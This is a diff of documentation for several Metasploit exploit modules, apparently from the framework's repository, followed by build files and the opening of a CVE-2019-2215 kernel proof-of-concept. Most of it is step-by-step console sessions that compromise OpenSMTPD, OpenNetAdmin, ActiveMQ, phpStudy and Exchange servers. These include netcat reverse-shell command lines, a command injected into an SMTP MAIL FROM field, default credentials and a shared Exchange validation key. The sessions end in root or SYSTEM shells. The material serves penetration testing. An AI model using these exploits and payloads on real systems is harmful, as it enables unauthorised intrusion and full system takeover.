msf5 exploit(multi/http/phpstudy_backdoor_rce) > set rhosts 192.168.56.104
|
||||
rhosts => 192.168.56.104
|
||||
msf5 exploit(multi/http/phpstudy_backdoor_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[+] Sending shellcode
|
||||
[*] Sending stage (38288 bytes) to 192.168.56.104
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.104:49169) at 2020-02-23 10:11:40 +0800
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,139 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module exploits an out-of-bounds read of an attacker-controlled
|
||||
string in OpenSMTPD's MTA implementation to execute a command as the
|
||||
root or nobody user, depending on the kind of grammar OpenSMTPD uses.
|
||||
|
||||
### Setup
|
||||
|
||||
1. Download [OpenBSD 6.6](https://cdn.openbsd.org/pub/OpenBSD/6.6/amd64/install66.iso)
|
||||
2. Install the system
|
||||
|
||||
### Targets
|
||||
|
||||
```
|
||||
Id Name
|
||||
-- ----
|
||||
0 OpenSMTPD < 6.6.4 (automatic grammar selection)
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Follow [Setup](#setup) and [Scenarios](#scenarios).
|
||||
|
||||
## Options
|
||||
|
||||
**SESSION**
|
||||
|
||||
Set this to a valid session ID on an OpenBSD target.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### OpenSMTPD 6.6.0 on OpenBSD 6.6
|
||||
|
||||
```
|
||||
msf5 > use exploit/unix/local/opensmtpd_oob_read_lpe
|
||||
msf5 exploit(unix/local/opensmtpd_oob_read_lpe) > show missing
|
||||
|
||||
Module options (exploit/unix/local/opensmtpd_oob_read_lpe):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SESSION yes The session to run this module on.
|
||||
|
||||
|
||||
Payload options (cmd/unix/reverse_netcat):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
|
||||
msf5 exploit(unix/local/opensmtpd_oob_read_lpe) > set lhost 172.16.249.1
|
||||
lhost => 172.16.249.1
|
||||
msf5 exploit(unix/local/opensmtpd_oob_read_lpe) > set session 1
|
||||
session => 1
|
||||
msf5 exploit(unix/local/opensmtpd_oob_read_lpe) > run
|
||||
|
||||
[+] mkfifo /tmp/gkhbba; nc 172.16.249.1 4444 0</tmp/gkhbba | /bin/sh >/tmp/gkhbba 2>&1; rm /tmp/gkhbba
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[*] Started reverse TCP handler on 172.16.249.1:4444
|
||||
[*] Executing automatic check (disable AutoCheck to override)
|
||||
[*] OpenSMTPD 6.6.0 is using new grammar
|
||||
[+] The target appears to be vulnerable. OpenSMTPD 6.6.0 appears vulnerable to CVE-2020-8794
|
||||
[*] Started service listener on 0.0.0.0:25
|
||||
[*] Executing local sendmail(8) command: /usr/sbin/sendmail 'brvaysxuzssmnjkysoh@[172.16.249.1]' < /dev/null && echo true
|
||||
[*] Client 172.16.249.137:37747 connected
|
||||
[*] Exploiting new OpenSMTPD grammar for a root shell
|
||||
[*] Faking SMTP server and sending exploit
|
||||
[*] Sending: 220
|
||||
[*] Expecting: /EHLO /
|
||||
[+] Received: EHLO
|
||||
[*] Sending: 250
|
||||
[*] Expecting: /MAIL FROM:<[^>]/
|
||||
[+] Received: foo.localdomain
|
||||
MAIL FROM:<w
|
||||
[*] Sending: 553-
|
||||
553
|
||||
|
||||
dispatcher: local_mail
|
||||
type: mda
|
||||
mda-user: root
|
||||
mda-exec: mkfifo /tmp/rettgqm; nc 172.16.249.1 4444 0</tmp/rettgqm | /bin/sh >/tmp/rettgqm 2>&1; rm /tmp/rettgqm; exit 0
|
||||
|
||||
[*] Disconnecting client 172.16.249.137:37747
|
||||
[*] Command shell session 3 opened (172.16.249.1:4444 -> 172.16.249.137:3005) at 2020-03-03 18:40:54 -0600
|
||||
[*] Server stopped.
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(wheel) groups=0(wheel)
|
||||
uname -a
|
||||
OpenBSD foo.localdomain 6.6 GENERIC#353 amd64
|
||||
^Z
|
||||
Background session 3? [y/N] y
|
||||
```
|
||||
|
||||
### OpenSMTPD 6.0.4 on OpenBSD 6.3
|
||||
|
||||
```
|
||||
msf5 exploit(unix/local/opensmtpd_oob_read_lpe) > set session 2
|
||||
session => 2
|
||||
msf5 exploit(unix/local/opensmtpd_oob_read_lpe) > run
|
||||
|
||||
[+] mkfifo /tmp/hkioy; nc 172.16.249.1 4444 0</tmp/hkioy | /bin/sh >/tmp/hkioy 2>&1; rm /tmp/hkioy
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[*] Started reverse TCP handler on 172.16.249.1:4444
|
||||
[*] Executing automatic check (disable AutoCheck to override)
|
||||
[*] OpenSMTPD 6.0.4 is using old grammar
|
||||
[+] The target appears to be vulnerable. OpenSMTPD 6.0.4 appears vulnerable to CVE-2020-8794
|
||||
[*] Started service listener on 0.0.0.0:25
|
||||
[*] Executing local sendmail(8) command: /usr/sbin/sendmail 'nozahdogyxewkv@[172.16.249.1]' < /dev/null && echo true
|
||||
[*] Client 172.16.249.138:10203 connected
|
||||
[*] Exploiting old OpenSMTPD grammar for a nobody shell
|
||||
[*] Faking SMTP server and sending exploit
|
||||
[*] Sending: 220
|
||||
[*] Expecting: /EHLO /
|
||||
[+] Received: EHLO
|
||||
[*] Sending: 250
|
||||
[*] Expecting: /MAIL FROM:<[^>]/
|
||||
[+] Received: foo.localdomain
|
||||
MAIL FROM:<w
|
||||
[*] Sending: 553-
|
||||
553
|
||||
|
||||
type: mda
|
||||
mda-method: mda
|
||||
mda-usertable: <getpwnam>
|
||||
mda-user: nobody
|
||||
mda-buffer: mkfifo /tmp/jszy; nc 172.16.249.1 4444 0</tmp/jszy | /bin/sh >/tmp/jszy 2>&1; rm /tmp/jszy; exit 0
|
||||
|
||||
[*] Disconnecting client 172.16.249.138:10203
|
||||
[*] Command shell session 4 opened (172.16.249.1:4444 -> 172.16.249.138:40377) at 2020-03-03 18:41:06 -0600
|
||||
[*] Server stopped.
|
||||
|
||||
id
|
||||
uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)
|
||||
uname -a
|
||||
OpenBSD foo.localdomain 6.3 GENERIC#100 amd64
|
||||
```
|
||||
@@ -3,16 +3,15 @@
|
||||
### Description
|
||||
|
||||
This module exploits a command injection in the `MAIL FROM` field during
|
||||
SMTP interaction with OpenSMTPD to execute code as the root user.
|
||||
SMTP interaction with OpenSMTPD to execute a command as the root user.
|
||||
|
||||
### Setup
|
||||
|
||||
1. Download [OpenBSD 6.6](https://cdn.openbsd.org/pub/OpenBSD/6.6/amd64/install66.iso)
|
||||
2. Install the system, noting the domain name (defaults to
|
||||
`foo.my.domain`)
|
||||
2. Install the system, noting the domain name (defaults to `foo.localdomain` in VMware)
|
||||
3. Configure the following settings in `/etc/mail/smtpd.conf`:
|
||||
* `listen on all`
|
||||
* `match from any for domain "foo.my.domain" action "local_mail"`
|
||||
* `match from any for domain "foo.localdomain" action "local_mail"`
|
||||
4. Execute `/etc/rc.d/smtpd restart` to restart OpenSMTPD
|
||||
5. Execute `ifconfig` and look for an appropriate target IP
|
||||
|
||||
@@ -21,7 +20,7 @@ SMTP interaction with OpenSMTPD to execute code as the root user.
|
||||
```
|
||||
Id Name
|
||||
-- ----
|
||||
0 OpenSMTPD >= commit a8e222352f
|
||||
0 OpenSMTPD < 6.6.1
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
@@ -55,34 +54,37 @@ Payload options (cmd/unix/reverse_netcat):
|
||||
---- --------------- -------- -----------
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
|
||||
msf5 exploit(unix/smtp/opensmtpd_mail_from_rce) > set rhosts 192.168.56.133
|
||||
rhosts => 192.168.56.133
|
||||
msf5 exploit(unix/smtp/opensmtpd_mail_from_rce) > set lhost 192.168.56.1
|
||||
lhost => 192.168.56.1
|
||||
msf5 exploit(unix/smtp/opensmtpd_mail_from_rce) > set rhosts 172.16.249.137
|
||||
rhosts => 172.16.249.137
|
||||
msf5 exploit(unix/smtp/opensmtpd_mail_from_rce) > set lhost 172.16.249.1
|
||||
lhost => 172.16.249.1
|
||||
msf5 exploit(unix/smtp/opensmtpd_mail_from_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] 192.168.56.133:25 - Connecting to OpenSMTPD
|
||||
[*] 192.168.56.133:25 - Saying hello and sending exploit
|
||||
[*] 192.168.56.133:25 - Expecting: /220.*OpenSMTPD/
|
||||
[+] 192.168.56.133:25 - Received: 220 foo.my.domain ESMTP OpenSMTPD
|
||||
[*] 192.168.56.133:25 - Sending: HELO oKFMWnrTJZjTbzkGfVMsyDy7pO35ze
|
||||
[*] 192.168.56.133:25 - Expecting: /250.*pleased to meet you/
|
||||
[+] 192.168.56.133:25 - Received:
|
||||
250 foo.my.domain Hello oKFMWnrTJZjTbzkGfVMsyDy7pO35ze [192.168.56.1], pleased to meet you
|
||||
[*] 192.168.56.133:25 - Sending: MAIL FROM:<;for J in V e E n U T w v A K M a 0 s x;do read;done;sh;exit 0;>
|
||||
[*] 192.168.56.133:25 - Expecting: /250.*Ok/
|
||||
[+] 192.168.56.133:25 - Received:
|
||||
[+] mkfifo /tmp/twkfr; nc 172.16.249.1 4444 0</tmp/twkfr | /bin/sh >/tmp/twkfr 2>&1; rm /tmp/twkfr
|
||||
[*] Started reverse TCP handler on 172.16.249.1:4444
|
||||
[*] 172.16.249.137:25 - Executing automatic check (disable AutoCheck to override)
|
||||
[!] 172.16.249.137:25 - The service is running, but could not be validated.
|
||||
[*] 172.16.249.137:25 - Connecting to OpenSMTPD
|
||||
[*] 172.16.249.137:25 - Saying hello and sending exploit
|
||||
[*] 172.16.249.137:25 - Expecting: /220.*OpenSMTPD/
|
||||
[+] 172.16.249.137:25 - Received: 220 foo.localdomain ESMTP OpenSMTPD
|
||||
[*] 172.16.249.137:25 - Sending: HELO JijrF2eskbXFfdlaV
|
||||
[*] 172.16.249.137:25 - Expecting: /250.*pleased to meet you/
|
||||
[+] 172.16.249.137:25 - Received:
|
||||
250 foo.localdomain Hello JijrF2eskbXFfdlaV [172.16.249.1], pleased to meet you
|
||||
[*] 172.16.249.137:25 - Sending: MAIL FROM:<;for W in a n 0 9 g D 7 N 7 B K R i u V;do read;done;sh;exit 0;>
|
||||
[*] 172.16.249.137:25 - Expecting: /250.*Ok/
|
||||
[+] 172.16.249.137:25 - Received:
|
||||
250 2.0.0 Ok
|
||||
[*] 192.168.56.133:25 - Sending: RCPT TO:<root>
|
||||
[*] 192.168.56.133:25 - Expecting: /250.*Recipient ok/
|
||||
[+] 192.168.56.133:25 - Received:
|
||||
[*] 172.16.249.137:25 - Sending: RCPT TO:<root>
|
||||
[*] 172.16.249.137:25 - Expecting: /250.*Recipient ok/
|
||||
[+] 172.16.249.137:25 - Received:
|
||||
250 2.1.5 Destination address valid: Recipient ok
|
||||
[*] 192.168.56.133:25 - Sending: DATA
|
||||
[*] 192.168.56.133:25 - Expecting: /354 Enter mail.*itself/
|
||||
[+] 192.168.56.133:25 - Received:
|
||||
[*] 172.16.249.137:25 - Sending: DATA
|
||||
[*] 172.16.249.137:25 - Expecting: /354 Enter mail.*itself/
|
||||
[+] 172.16.249.137:25 - Received:
|
||||
354 Enter mail, end with "." on a line by itself
|
||||
[*] 192.168.56.133:25 - Sending:
|
||||
[*] 172.16.249.137:25 - Sending:
|
||||
#
|
||||
#
|
||||
#
|
||||
@@ -98,19 +100,19 @@ msf5 exploit(unix/smtp/opensmtpd_mail_from_rce) > run
|
||||
#
|
||||
#
|
||||
#
|
||||
mkfifo /tmp/eizzy; nc 192.168.56.1 4444 0</tmp/eizzy | /bin/sh >/tmp/eizzy 2>&1; rm /tmp/eizzy
|
||||
[*] 192.168.56.133:25 - Sending: .
|
||||
[*] 192.168.56.133:25 - Expecting: /250.*Message accepted for delivery/
|
||||
[+] 192.168.56.133:25 - Received:
|
||||
250 2.0.0 ccd8e419 Message accepted for delivery
|
||||
[*] 192.168.56.133:25 - Sending: QUIT
|
||||
[*] 192.168.56.133:25 - Expecting: /221.*Bye/
|
||||
[+] 192.168.56.133:25 - Received:
|
||||
mkfifo /tmp/rsnzh; nc 172.16.249.1 4444 0</tmp/rsnzh | /bin/sh >/tmp/rsnzh 2>&1; rm /tmp/rsnzh
|
||||
[*] 172.16.249.137:25 - Sending: .
|
||||
[*] 172.16.249.137:25 - Expecting: /250.*Message accepted for delivery/
|
||||
[+] 172.16.249.137:25 - Received:
|
||||
250 2.0.0 5bd4f87d Message accepted for delivery
|
||||
[*] 172.16.249.137:25 - Sending: QUIT
|
||||
[*] 172.16.249.137:25 - Expecting: /221.*Bye/
|
||||
[+] 172.16.249.137:25 - Received:
|
||||
221 2.0.0 Bye
|
||||
[*] Command shell session 1 opened (192.168.56.1:4444 -> 192.168.56.133:16126) at 2020-02-05 16:16:59 -0600
|
||||
[*] Command shell session 1 opened (172.16.249.1:4444 -> 172.16.249.137:28550) at 2020-02-28 10:28:14 -0600
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(wheel) groups=0(wheel)
|
||||
uname -a
|
||||
OpenBSD foo.my.domain 6.6 GENERIC#353 amd64
|
||||
OpenBSD foo.localdomain 6.6 GENERIC#353 amd64
|
||||
```
|
||||
|
||||
@@ -0,0 +1,52 @@
|
||||
## Description
|
||||
|
||||
OpenNetAdmin provides a database managed inventory of your IP network. Each subnet, host, and IP can be tracked via a centralized AJAX enabled web interface that can help reduce tracking errors.
|
||||
This module exploits a command injection in OpenNetAdmin. The vulnerability exists on the `tooltips.inc.php` component, due to the insecure usage of the `shell_exec()` PHP function.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module has been tested with [OpenNetAdmin 18.1.1](https://github.com/opennetadmin/ona/releases/tag/v18.1.1)
|
||||
|
||||
## Setup
|
||||
|
||||
https://github.com/opennetadmin/ona/wiki/Install
|
||||
|
||||
## Verification
|
||||
|
||||
Launch metasploit and set the appropiate options:
|
||||
>
|
||||
> * [ ] Start `msfconsole`
|
||||
> * [ ] `use exploit/unix/webapp/opennetadmin_ping_cmd_injection`
|
||||
> * [ ] `set RHOSTS <rhosts>`
|
||||
> * [ ] `set LHOST <lhost>`
|
||||
> * [ ] `set VHOST <hostname>`
|
||||
> * [ ] `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
**VHOST**
|
||||
|
||||
The HTTP server virtual host. You will probably need to configure this as well, even though it is set as optional.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Tested OpenNetAdmin 18.1.1 on Ubuntu 19.10 x64
|
||||
|
||||
```
|
||||
msf5 > use exploit/unix/webapp/opennetadmin_ping_cmd_injection
|
||||
msf5 exploit(opennetadmin_ping_cmd_injection) > set RHOSTS 172.16.172.152
|
||||
RHOSTS => 172.16.172.152
|
||||
msf5 exploit(opennetadmin_ping_cmd_injection) > set VHOST example.com
|
||||
VHOST => example.com
|
||||
msf5 exploit(opennetadmin_ping_cmd_injection) > set LHOST 172.16.172.1
|
||||
LHOST => 172.16.172.1
|
||||
msf5 exploit(opennetadmin_ping_cmd_injection) > exploit
|
||||
[*] Started reverse TCP handler on 172.16.172.1:4444
|
||||
[*] Exploiting...
|
||||
[*] Sending stage (3021284 bytes) to 172.16.172.152
|
||||
[*] Meterpreter session 1 opened (172.16.172.1:4444 -> 172.16.172.152:38590) at 2019-12-10 02:38:52 +0300
|
||||
[*] Sending stage (3021284 bytes) to 172.16.172.152
|
||||
[*] Command Stager progress - 100.12% done (810/809 bytes)
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,70 @@
|
||||
## Introduction
|
||||
|
||||
A directory traversal vulnerability was discovered in the fileserver upload/download functionality for blob messages in Apache ActiveMQ 5.x before 5.11.2 for Windows. The vulnerability, tracked as CVE-2015-1830, allows remote attackers to create JSP files in arbitrary directories via unspecified vectors.
|
||||
|
||||
Because vulnerable servers allow for directory traversal, they will accept HTTP PUT requests for `/fileserver/..\\admin\\` and process these as requests for `/admin/`. For the PUT request to succeed, credentials need to be provided.
|
||||
|
||||
This module exploits CVE-2015-1830 by attempting to upload a JSP payload to a target via an HTTP PUT requests for `/fileserver/..\\admin\\` using the default credentials `admin:admin` (or any other credentials provided by the user). It then issues an HTTP GET request to `/admin/<payload>.jsp` on the target in order to trigger the payload and obtain a shell. The module has been succesfully tested against ActiveMQ 5.11.1 on a Windows 7 machine.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole.
|
||||
2. Do: `use exploit/windows/http/apache_activemq_traversal_upload`.
|
||||
3. Do: `set RHOSTS [IP]`. This option is used to set the IP address of the remote system running Apache ActiveMQ.
|
||||
4. Do: `set PAYLOAD [payload]`. This option can be used to set the payload to use against the target. The default payload is `java/jsp_shell_reverse_tcp`.
|
||||
5. Do: `set LHOST [IP]`. This option is used to set the IP address of the local machine the payload should establish a connection with.
|
||||
6. Do: `exploit`.
|
||||
|
||||
## Options
|
||||
|
||||
1. `PASSWORD`. The default setting is `admin`, which is the default password for the ActiveMQ administrator account.
|
||||
2. `PATH`. This option is the traversal path. `/fileserver/..\admin\` by default.
|
||||
3. `USERNAME`. The default setting is `admin`, which is the default ActiveMQ administrator account.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 exploit(windows/http/apache_activemq_traversal_upload) > show options
|
||||
|
||||
Module options (exploit/windows/http/apache_activemq_traversal_upload):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PASSWORD admin yes Password to authenticate with
|
||||
PATH /fileserver/..\admin\ yes Traversal path
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.1.2 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
RPORT 8161 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes The base path to the web application
|
||||
USERNAME admin yes Username to authenticate with
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (java/jsp_shell_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.1.1 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
SHELL no The system shell to use.
|
||||
|
||||
|
||||
msf5 exploit(windows/http/apache_activemq_traversal_upload) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.1:4444
|
||||
[*] Uploading payload...
|
||||
[*] Payload sent. Attempting to execute the payload.
|
||||
[*] Payload executed!
|
||||
[*] Command shell session 1 opened (192.168.1.1:4444 -> 192.168.1.2:49194) at 2020-02-04 10:55:36 +0100
|
||||
|
||||
Microsoft Windows [Version 6.1.7601]
|
||||
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
|
||||
|
||||
C:\Users\IEUser\Desktop\activemq 5.11.1\apache-activemq-5.11.1\bin\win64>
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
1. <https://www.cvedetails.com/cve/CVE-2015-1830/>
|
||||
2. <https://activemq.apache.org/security-advisories.data/CVE-2015-1830-announcement.txt>
|
||||
@@ -0,0 +1,97 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a .NET serialization vulnerability in the Exchange Control
|
||||
Panel (ECP) web page. The vulnerability is due to Microsoft Exchange Server not
|
||||
randomizing the keys on a per-installation basis resulting in them using the
|
||||
same validationKey and decryptionKey values. With knowledge of these, values an
|
||||
attacker can craft a special viewstate to cause an OS command to be executed by
|
||||
NT_AUTHORITY\SYSTEM using .NET deserialization.
|
||||
|
||||
The default ViewState validation key is: `cb2721abdaf8e9dc516d621d8b8bf13a2c9e8689a25303bf`.
|
||||
|
||||
This module requires the user to authenticate to Exchange. At a minimum the user
|
||||
must be a member of the `Domain Users` group and have a mailbox configured on
|
||||
the Exchange server.
|
||||
|
||||
The crafted ViewState must be submitted to the server in a GET request (POST
|
||||
requests will not work) which introduces a size restriction on the contents. Due
|
||||
to this, OS commands are limited to a length of approximately 450 which accounts
|
||||
for the overhead of the serialization data. The OS command must also be XML
|
||||
encoded which increases the size as well. The .NET deserialization used is the
|
||||
"TextFormattingRunProperties" chain from the [ysoserial.net][1] project.
|
||||
|
||||
## Verification Steps
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/windows/http/exchange_ecp_viewstate`
|
||||
1. Set the `RHOSTS`, `USERNAME` and `PASSWORD` options
|
||||
4. Do: `run`
|
||||
5. You should get a shell.
|
||||
|
||||
### Version and OS
|
||||
|
||||
For example:
|
||||
|
||||
msf5 > use exploit/windows/http/exchange_ecp_viewstate
|
||||
msf5 exploit(windows/http/exchange_ecp_viewstate) > set RHOSTS 192.168.159.129
|
||||
RHOSTS => 192.168.159.129
|
||||
msf5 exploit(windows/http/exchange_ecp_viewstate) > set USERNAME msflab.local\\jdoe
|
||||
USERNAME => msflab.local\jdoe
|
||||
msf5 exploit(windows/http/exchange_ecp_viewstate) > set PASSWORD Password1
|
||||
PASSWORD => Password1
|
||||
msf5 exploit(windows/http/exchange_ecp_viewstate) > set TARGET 1
|
||||
TARGET => 1
|
||||
msf5 exploit(windows/http/exchange_ecp_viewstate) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
|
||||
PAYLOAD => windows/x64/meterpreter/reverse_tcp
|
||||
msf5 exploit(windows/http/exchange_ecp_viewstate) > set LHOST 192.168.159.128
|
||||
LHOST => 192.168.159.128
|
||||
msf5 exploit(windows/http/exchange_ecp_viewstate) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.159.128:4444
|
||||
[*] Command Stager progress - 3.61% done (449/12424 bytes)
|
||||
[*] Command Stager progress - 7.23% done (898/12424 bytes)
|
||||
[*] Command Stager progress - 10.84% done (1347/12424 bytes)
|
||||
[*] Command Stager progress - 14.46% done (1796/12424 bytes)
|
||||
[*] Command Stager progress - 18.07% done (2245/12424 bytes)
|
||||
[*] Command Stager progress - 21.68% done (2694/12424 bytes)
|
||||
[*] Command Stager progress - 25.30% done (3143/12424 bytes)
|
||||
[*] Command Stager progress - 28.91% done (3592/12424 bytes)
|
||||
[*] Command Stager progress - 32.53% done (4041/12424 bytes)
|
||||
[*] Command Stager progress - 36.14% done (4490/12424 bytes)
|
||||
[*] Command Stager progress - 39.75% done (4939/12424 bytes)
|
||||
[*] Command Stager progress - 43.37% done (5388/12424 bytes)
|
||||
[*] Command Stager progress - 46.98% done (5837/12424 bytes)
|
||||
[*] Command Stager progress - 50.60% done (6286/12424 bytes)
|
||||
[*] Command Stager progress - 54.21% done (6735/12424 bytes)
|
||||
[*] Command Stager progress - 57.82% done (7184/12424 bytes)
|
||||
[*] Command Stager progress - 61.44% done (7633/12424 bytes)
|
||||
[*] Command Stager progress - 65.05% done (8082/12424 bytes)
|
||||
[*] Command Stager progress - 68.67% done (8531/12424 bytes)
|
||||
[*] Command Stager progress - 72.28% done (8980/12424 bytes)
|
||||
[*] Command Stager progress - 75.89% done (9429/12424 bytes)
|
||||
[*] Command Stager progress - 79.51% done (9878/12424 bytes)
|
||||
[*] Command Stager progress - 82.74% done (10279/12424 bytes)
|
||||
[*] Command Stager progress - 86.15% done (10703/12424 bytes)
|
||||
[*] Command Stager progress - 89.43% done (11111/12424 bytes)
|
||||
[*] Command Stager progress - 92.91% done (11543/12424 bytes)
|
||||
[*] Command Stager progress - 96.28% done (11962/12424 bytes)
|
||||
[*] Sending stage (206403 bytes) to 192.168.159.129
|
||||
[*] Command Stager progress - 99.84% done (12404/12424 bytes)
|
||||
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.129:17626) at 2020-03-02 10:40:52 -0500
|
||||
[*] Command Stager progress - 100.00% done (12424/12424 bytes)
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : EXCHANGE
|
||||
OS : Windows 2012 R2 (6.3 Build 9600).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : MSFLAB
|
||||
Logged On Users : 9
|
||||
Meterpreter : x64/windows
|
||||
meterpreter >
|
||||
|
||||
[1]: https://github.com/pwntester/ysoserial.net
|
||||
@@ -11,6 +11,15 @@ For more info see:
|
||||
- [Rotten Potato](https://github.com/foxglovesec/RottenPotato)
|
||||
- [Lonely Potato](https://decoder.cloud/2017/12/23/the-lonely-potato/)
|
||||
- [Juicy Potato](https://ohpe.it/juicy-potato/)
|
||||
- [No More Juicy Potato](https://decoder.cloud/2018/10/29/no-more-rotten-juicy-potato/)
|
||||
|
||||
## Vulnerable Applications
|
||||
|
||||
Microsoft Windows Server 2008 R2, Server 2012, Server 2012 R2, and Server 2016 are known to be affected. Server 2019 was not affected by this issue.
|
||||
|
||||
This issue was patched in Microsoft Windows 10 v1809 (build 17763). v1803 is the last vulnerable version. See [No More Juicy Potato](https://decoder.cloud/2018/10/29/no-more-rotten-juicy-potato/) for technical details.
|
||||
|
||||
At the time of disclosure, disabling DCOM was provided as a workaround to mitigate this vulnerability. As such, servers with DCOM disabled will not be vulnerable to this attack.
|
||||
|
||||
## Usage
|
||||
|
||||
|
||||
@@ -58,7 +58,7 @@ Payload options (windows/x64/meterpreter/reverse_tcp):
|
||||
LHOST 192.168.135.168 yes The listen address (an interface may be specified)
|
||||
LPORT 4545 yes The listen port
|
||||
|
||||
**DisablePayloadHandler: True (RHOST and RPORT settings will be ignored!)**
|
||||
**DisablePayloadHandler: True (no handler will be created!)**
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
@@ -1,16 +1,12 @@
|
||||
The following is the recommended format for module documentation.
|
||||
But feel free to add more content/sections to this.
|
||||
The following is the recommended format for module documentation. But feel free to add more content/sections to this.
|
||||
One of the general ideas behind these documents is to help someone troubleshoot the module if it were to stop
|
||||
functioning in 5+ years, so giving links or specific examples can be VERY helpful.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Instructions to get the vulnerable application. If applicable, include links to the vulnerable install files,
|
||||
as well as instructions on installing/configuring the environment if it is different than a standard install.
|
||||
Much of this will come from the PR, and can be copy/pasted.
|
||||
Instructions to get the vulnerable application. If applicable, include links to the vulnerable install files, as well as instructions on installing/configuring the environment if it is different than a standard install. Much of this will come from the PR, and can be copy/pasted.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Install the application
|
||||
@@ -18,18 +14,19 @@ functioning in 5+ years, so giving links or specific examples can be VERY helpfu
|
||||
3. Do: ```use [module path]```
|
||||
4. Do: ```run```
|
||||
5. You should get a shell.
|
||||
|
||||
|
||||
## Options
|
||||
List each option and how to use it.
|
||||
|
||||
**Option name**
|
||||
### Option Name
|
||||
|
||||
Talk about what it does, and how to use it appropriately. If the default value is likely to change, include the default value here.
|
||||
Talk about what it does, and how to use it appropriately. If the default value is likely to change, include the default value here.
|
||||
|
||||
## Scenarios
|
||||
Specific demo of using the module that might be useful in a real world scenario.
|
||||
|
||||
### Version of software and OS as applicable
|
||||
|
||||
Specific demo of using the module that might be useful in a real world scenario.
|
||||
### Version and OS
|
||||
|
||||
```
|
||||
code or console output
|
||||
@@ -43,4 +40,4 @@ functioning in 5+ years, so giving links or specific examples can be VERY helpfu
|
||||
msf > use module_name
|
||||
msf auxiliary(module_name) > set POWERLEVEL >9000
|
||||
msf auxiliary(module_name) > exploit
|
||||
```
|
||||
```
|
||||
|
||||
@@ -0,0 +1,11 @@
|
||||
LOCAL_PATH := $(call my-dir)
|
||||
|
||||
include $(CLEAR_VARS)
|
||||
|
||||
LOCAL_SRC_FILES := \
|
||||
poc.c
|
||||
|
||||
LOCAL_MODULE := poc
|
||||
|
||||
include $(BUILD_EXECUTABLE)
|
||||
|
||||
+15
@@ -0,0 +1,15 @@
|
||||
all: build
|
||||
|
||||
build:
|
||||
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=arm64-v8a
|
||||
|
||||
push: build
|
||||
adb push libs/arm64-v8a/poc /data/local/tmp/poc
|
||||
|
||||
install: build
|
||||
cp libs/arm64-v8a/poc ../../../../data/exploits/CVE-2019-2215/exploit
|
||||
|
||||
clean:
|
||||
rm -rf libs
|
||||
rm -rf obj
|
||||
|
||||
@@ -0,0 +1,12 @@
|
||||
|
||||
## CVE-2019-2215
|
||||
|
||||
Copy and pasted from:
|
||||
|
||||
https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
|
||||
|
||||
https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/
|
||||
|
||||
https://github.com/grant-h/qu1ckr00t/blob/master/native/poc.c
|
||||
|
||||
|
||||
+379
@@ -0,0 +1,379 @@
|
||||
/*
|
||||
* POC to gain arbitrary kernel R/W access using CVE-2019-2215
|
||||
* https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
|
||||
*
|
||||
* Jann Horn & Maddie Stone of Google Project Zero
|
||||
*
|
||||
* 3 October 2019
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <stdbool.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/wait.h>
|
||||
#include <ctype.h>
|
||||
#include <sys/uio.h>
|
||||
#include <err.h>
|
||||
#include <sched.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/epoll.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <unistd.h>
|
||||
